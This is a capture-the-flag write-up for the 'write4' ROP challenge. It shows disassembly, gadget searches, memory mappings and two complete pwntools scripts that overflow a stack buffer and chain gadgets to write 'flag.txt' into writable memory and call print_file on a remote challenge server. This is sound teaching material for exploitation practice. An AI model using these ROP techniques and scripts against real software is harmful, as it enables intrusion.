write4
Building write-what-where abilities to process new memory.
This is a challenging binary but teaches a lot about how ROP can produce some great results. We'll discuss the inspiration for why we decided to choose our attack vector, discuss why it's possible, and then build a supporting ROP chain. This challenge taught me to do ROP (shoutout LT King); I think it's a valuable challenge to learn from.
Attack Vector Inspiration
Running the binary proves to be pretty useless because none of the output is particularly helpful. Instead, we choose to do some static analysis and some gadget hunting to find what we need to beat this challenge.
When we open the binary in gdb
/ radare2
, we notice that pwnme
function is actually inside libwrite4.so, so we go there first. Checking the contents of pwnme
in radare2
:
gef➤ disas pwnme
Dump of assembler code for function pwnme:
0x00000000000008aa <+0>: push rbp
0x00000000000008ab <+1>: mov rbp,rsp
0x00000000000008ae <+4>: sub rsp,0x20
0x00000000000008b2 <+8>: mov rax,QWORD PTR [rip+0x200727] # 0x200fe0
0x00000000000008b9 <+15>: mov rax,QWORD PTR [rax]
0x00000000000008bc <+18>: mov ecx,0x0
0x00000000000008c1 <+23>: mov edx,0x2
0x00000000000008c6 <+28>: mov esi,0x0
0x00000000000008cb <+33>: mov rdi,rax
0x00000000000008ce <+36>: call 0x790 <setvbuf@plt>
0x00000000000008d3 <+41>: lea rdi,[rip+0x106] # 0x9e0
0x00000000000008da <+48>: call 0x730 <puts@plt>
0x00000000000008df <+53>: lea rdi,[rip+0x111] # 0x9f7
0x00000000000008e6 <+60>: call 0x730 <puts@plt>
0x00000000000008eb <+65>: lea rax,[rbp-0x20]
0x00000000000008ef <+69>: mov edx,0x20
0x00000000000008f4 <+74>: mov esi,0x0
0x00000000000008f9 <+79>: mov rdi,rax
0x00000000000008fc <+82>: call 0x760 <memset@plt>
0x0000000000000901 <+87>: lea rdi,[rip+0xf8] # 0xa00
0x0000000000000908 <+94>: call 0x730 <puts@plt>
0x000000000000090d <+99>: lea rdi,[rip+0x115] # 0xa29
0x0000000000000914 <+106>: mov eax,0x0
0x0000000000000919 <+111>: call 0x750 <printf@plt>
0x000000000000091e <+116>: lea rax,[rbp-0x20]
0x0000000000000922 <+120>: mov edx,0x200
0x0000000000000927 <+125>: mov rsi,rax
0x000000000000092a <+128>: mov edi,0x0
0x000000000000092f <+133>: call 0x770 <read@plt>
0x0000000000000934 <+138>: lea rdi,[rip+0xf1] # 0xa2c
0x000000000000093b <+145>: call 0x730 <puts@plt>
0x0000000000000940 <+150>: nop
0x0000000000000941 <+151>: leave
0x0000000000000942 <+152>: ret
End of assembler dump.
The reason that I like radare2
for static analysis is that it provides function headers and resolves strings automatically. This makes the disassembly process a lot easier. I personally think that gdb
has better stepping usability for dynamic analysis but is less feature-friendly for static analysis.
From this function, we notice that we're allowed a 0x200
byte payload to be read on the stack. It is being read to rbp-0x20
so we can quickly deduce it takes 0x28=40
bytes to reach the return pointer. Then, the rest is up to us.
Searching around the binary, we find the function print_file
:
gef➤ disas print_file
Dump of assembler code for function print_file:
0x0000000000000943 <+0>: push rbp
0x0000000000000944 <+1>: mov rbp,rsp
0x0000000000000947 <+4>: sub rsp,0x40
0x000000000000094b <+8>: mov QWORD PTR [rbp-0x38],rdi
0x000000000000094f <+12>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000000957 <+20>: mov rax,QWORD PTR [rbp-0x38]
0x000000000000095b <+24>: lea rsi,[rip+0xd5] # 0xa37
0x0000000000000962 <+31>: mov rdi,rax
0x0000000000000965 <+34>: call 0x7a0 <fopen@plt>
0x000000000000096a <+39>: mov QWORD PTR [rbp-0x8],rax
0x000000000000096e <+43>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000000973 <+48>: jne 0x997 <print_file+84>
0x0000000000000975 <+50>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000000979 <+54>: mov rsi,rax
0x000000000000097c <+57>: lea rdi,[rip+0xb6] # 0xa39
0x0000000000000983 <+64>: mov eax,0x0
0x0000000000000988 <+69>: call 0x750 <printf@plt>
0x000000000000098d <+74>: mov edi,0x1
0x0000000000000992 <+79>: call 0x7b0 <exit@plt>
0x0000000000000997 <+84>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000000099b <+88>: lea rax,[rbp-0x30]
0x000000000000099f <+92>: mov esi,0x21
0x00000000000009a4 <+97>: mov rdi,rax
0x00000000000009a7 <+100>: call 0x780 <fgets@plt>
0x00000000000009ac <+105>: lea rax,[rbp-0x30]
0x00000000000009b0 <+109>: mov rdi,rax
0x00000000000009b3 <+112>: call 0x730 <puts@plt>
0x00000000000009b8 <+117>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000009bc <+121>: mov rdi,rax
0x00000000000009bf <+124>: call 0x740 <fclose@plt>
0x00000000000009c4 <+129>: mov QWORD PTR [rbp-0x8],0x0
0x00000000000009cc <+137>: nop
0x00000000000009cd <+138>: leave
0x00000000000009ce <+139>: ret
End of assembler dump.
Based on the C code provided, this binary takes an int64_t
, resolves the string at that address, then prints the file's contents with that name. This means that we need to find the address of flag.txt in memory and then pass this address into print_file
, and we'll have the flag!
Building the ROP Chain
The first step you should take is to find the flag in memory. strings write4 | grep flag
tells us it's not there. Bummer. Can we introduce it into the binary somehow?
Our next step should be to check the gadgets to see if there's a way to pass data into memory. We need a way to store the string flag.txt at an address of our choice and then pass that address into print_file
. Let's look around ROPgadget
for some pop
gadgets:
$ ROPgadget --binary write4 --only "pop|ret"
Gadgets information
============================================================
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret
This seems useful enough. This provides us a way to load the first two parameter registers, meaning that we can pass an address into print_file
. We know that the end of our payload will look something like:
payload += p64(pop_rdi)
payload += p64(flag_address)
payload += p64(f_printfile)
Now, we need a way to store flag.txt somewhere. We'll check for a mov
gadget that moves a string to the *contents of an address. Something like this might be helpful:
MOV QWORD PTR [register_1], register_2
This would let us put flag.txt in register_2
, and then store it at the value of register_1
. We would also need to control register_1
to make this happen.
Let's check ROPgadget
for some options:
$ ROPgadget --binary write4 --only "mov|pop|ret"
Gadgets information
============================================================
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret
Unique gadgets found: 15
We find the following gadget which suits our needs:
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
This gadget lets us write the contents of r15
at the location pointed to by r14
. We can use this to write flag.txt to an address of our choice. We'll need to control r14
and r15
to make this happen.
We'll go back and take note of the following gadget, which lets us control r14
and r15
:
0x0000000000400690 : pop r14 ; pop r15 ; ret
In this case, we'll load r14
with the address to write to and r15
with the string to write.
Deciding Where to Write
Now, we need to figure out where we want to write. This is a crucial step because we don't want to overwrite crucial memory that forces our program to crash. Another essential check is ensuring we can write to the address we choose. Not every memory section has write permissions, so we must find somewhere we are allowed to write.
We can check the mappings inside gdb
and find a writeable location:
gef➤ info proc mappings
process 54986
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x400000 0x401000 0x1000 0x0 r-xp /home/joybuzzer/Documents/vunrotc/public/binex/05-rop/write4/src/write4
0x600000 0x601000 0x1000 0x0 r--p /home/joybuzzer/Documents/vunrotc/public/binex/05-rop/write4/src/write4
0x601000 0x602000 0x1000 0x1000 rw-p /home/joybuzzer/Documents/vunrotc/public/binex/05-rop/write4/src/write4
We see that the 0x601000-0x602000
range is the only writeable range, so let's check around in there. We're looking for memory that's hopefully not used.
gef➤ x/20gx 0x601000
0x601000: 0x0000000000600e00 0x00007ffff7ffe2e0
0x601010: 0x00007ffff7fd8d30 0x0000000000400506
0x601020 <[email protected]>: 0x0000000000400516 0x0000000000000000
0x601030: 0x0000000000000000 0x0000000000000000
0x601040: 0x0000000000000000 0x0000000000000000
0x601050: 0x0000000000000000 0x0000000000000000
0x601060: 0x0000000000000000 0x0000000000000000
0x601070: 0x0000000000000000 0x0000000000000000
0x601080: 0x0000000000000000 0x0000000000000000
0x601090: 0x0000000000000000 0x0000000000000000
We see that 0x601030
doesn't seem to be used by anything, so we'll choose there. We could play it safer and choose something further away, but in this case, we'll see it doesn't matter.
If you're writing your exploit and finding that your data doesn't seem to be writing to memory, or that your program is crashing, it's likely that you're writing to a location that's used. Try to find a different location.
Writing the Exploit
Now, let's put this all together. We'll start by defining the binary, library, and the process:
elf = context.binary = ELF('./write4')
libc = ELF('./libwrite4.so')
proc = remote('vunrotc.cole-ellis.com', 5400)
Then, we'll define all our essentials. The functions, variables, addresses, and gadgets:
# functions
f_printfile = 0x400510
# addresses
a_writeLocation = 0x601030 # write location to build "flag.txt"
# gadgets
g_popR14R15 = 0x400690 # pop r14 ; pop r15 ; ret
g_writeR15AtR14 = 0x400628 # mov qword ptr [r14], r15 ; ret
g_popRdi = 0x400693 # pop rdi; ret;
g_ret = 0x400589 # ret;
Then, we'll build the chain.
# align the stack
ropChain += p64(g_ret)
# write flag.txt to string
ropChain += p64(g_popR14R15)
ropChain += p64(a_writeLocation)
ropChain += b'flag.txt'
ropChain += p64(g_writeR15AtR14)
# call print_file with string address
ropChain += p64(g_popRdi)
ropChain += p64(a_writeLocation)
ropChain += p64(f_printfile)
Finally, we'll send the payload and get the flag:
(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()
This works! This gets us the flag.
If we want to make our exploit more robust...
We would need to ensure that the string is null-terminated. In the case that the data block after the one we chose gets used, we would need to ensure that the flag.txt string is null-terminated.
To do this, we can add the following before the call to print_file
:
# write null byte to end of string
ropChain += p64(g_popR14R15)
ropChain += p64(a_writeLocation + 0x8)
ropChain += p64(0x0)
ropChain += p64(g_writeR15AtR14)
This would ensure that our string is null-terminated, and that our code works.
Alternative Solution
This is the solution I mentioned earlier. This solution uses the following gadget:
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
This means we need to control rsi
and edi
. We'll use the following gadgets to do this:
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x0000000000400693 : pop rdi ; ret
Notice that our gadget pops rdi
, but uses edi
to move into memory. This means that we can only move 4
bytes at a time (since edi
is the lower four bytes of rdi
). From here, our chain would do the following:
Align the stack
Move flag into
addr
(the address we write to)Move .txt into
addr+4
Move a null byte into
addr+8
Call
print_file
withaddr
as the argument
This is a bit more complicated, but it works just as well. Note that we use b'C' * 0x8
as a junk variable. I chose this for debugging purposes because it differentiates from the padding. We use v_junk
to populate r15
every time we use the pop rsi
gadget.
Here is that exploit:
from pwn import *
elf = context.binary = ELF('./write4')
libc = ELF('./libwrite4.so')
proc = remote('vunrotc.cole-ellis.com', 5400)
# functions
f_printfile = 0x400510
# variables and addresses
v_junk = 0x4343434343434343
a_writeLocation = 0x601030 # write location to build "flag.txt"
# gadgets
g_writeEdiAtRsi = 0x400629 # mov dword ptr [rsi], edi; ret;
g_popRdi = 0x400693 # pop rdi; ret;
g_popRsiR15 = 0x400691 # pop rsi; pop r15; ret;
g_ret = 0x400589 # ret;
padding = b'A' * 40
ropChain = b''
# align the stack
ropChain += p64(g_ret)
# write flag to string
ropChain += p64(g_popRsiR15)
ropChain += p64(a_writeLocation);
ropChain += p64(v_junk);
ropChain += p64(g_popRdi);
ropChain += b'flagAAAA'
ropChain += p64(g_writeEdiAtRsi);
# add .txt to end of string
ropChain += p64(g_popRsiR15);
ropChain += p64(a_writeLocation + 4);
ropChain += p64(v_junk);
ropChain += p64(g_popRdi);
ropChain += b'.txtAAAA'
ropChain += p64(g_writeEdiAtRsi);
# add null byte to end of string
ropChain += p64(g_popRsiR15);
ropChain += p64(a_writeLocation + 8);
ropChain += p64(v_junk);
ropChain += p64(g_popRdi);
ropChain += b'\x00AAAAAAA'
ropChain += p64(g_writeEdiAtRsi);
# call print_file with string address
ropChain += p64(g_popRdi);
ropChain += p64(a_writeLocation);
ropChain += p64(f_printfile);
print(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()
Last updated
Was this helpful?